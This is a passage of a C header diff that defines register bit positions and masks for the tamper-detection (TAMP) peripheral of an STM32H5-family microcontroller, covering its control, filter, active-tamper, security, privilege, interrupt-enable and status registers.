TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0U) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1U) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16U) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17U) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00020000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18U) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP4E_Pos (19U) +#define TAMP_CR1_ITAMP4E_Msk (0x1UL << TAMP_CR1_ITAMP4E_Pos) /*!< 0x00080000 */ +#define TAMP_CR1_ITAMP4E TAMP_CR1_ITAMP4E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20U) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21U) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22U) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23U) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24U) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26U) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27U) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x08000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28U) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x10000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk +#define TAMP_CR1_ITAMP15E_Pos (30U) +#define TAMP_CR1_ITAMP15E_Msk (0x1UL << TAMP_CR1_ITAMP15E_Pos) /*!< 0x40000000 */ +#define TAMP_CR1_ITAMP15E TAMP_CR1_ITAMP15E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0U) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1U) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16U) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17U) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22U) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00400000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23U) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24U) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25U) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0U) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1U) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2U) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP4NOER_Pos (3U) +#define TAMP_CR3_ITAMP4NOER_Msk (0x1UL << TAMP_CR3_ITAMP4NOER_Pos) /*!< 0x00000008 */ +#define TAMP_CR3_ITAMP4NOER TAMP_CR3_ITAMP4NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4U) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5U) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6U) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7U) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000080 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8U) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10U) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000400 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11U) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12U) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00001000 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk +#define TAMP_CR3_ITAMP15NOER_Pos (14U) +#define TAMP_CR3_ITAMP15NOER_Msk (0x1UL << TAMP_CR3_ITAMP15NOER_Pos) /*!< 0x00004000 */ +#define TAMP_CR3_ITAMP15NOER TAMP_CR3_ITAMP15NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0U) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3U) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5U) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7U) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0U) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1U) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8U) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10U) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16U) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24U) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30U) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31U) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0U) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0U) +#define TAMP_ATOR_PRNG_Msk (0xFFUL << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14U) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15U) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8U) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11U) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +/* Keep SEC acronym name as following devices (STM32H562xx, STM32H563xx, STM32H573xx) with secure + acronym to avoid duplicated bits definitions */ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0U) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_BKPWSEC_Pos (16U) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15U) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29U) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30U) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31U) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0U) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1U) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16U) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17U) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18U) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP4IE_Pos (19U) +#define TAMP_IER_ITAMP4IE_Msk (0x1UL << TAMP_IER_ITAMP4IE_Pos) /*!< 0x00080000 */ +#define TAMP_IER_ITAMP4IE TAMP_IER_ITAMP4IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20U) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21U) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22U) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23U) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24U) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26U) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27U) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28U) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk +#define TAMP_IER_ITAMP15IE_Pos (30U) +#define TAMP_IER_ITAMP15IE_Msk (0x1UL << TAMP_IER_ITAMP15IE_Pos) /*!< 0x40000000 */ +#define TAMP_IER_ITAMP15IE TAMP_IER_ITAMP15IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0U) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1U) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_ITAMP1F_Pos (16U) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17U) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18U) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP4F_Pos (19U) +#define TAMP_SR_ITAMP4F_Msk (0x1UL << TAMP_SR_ITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SR_ITAMP4F TAMP_SR_ITAMP4F_Msk +#define TAMP_SR_ITAMP5F_Pos (20U) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21U) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22U) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23U) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk 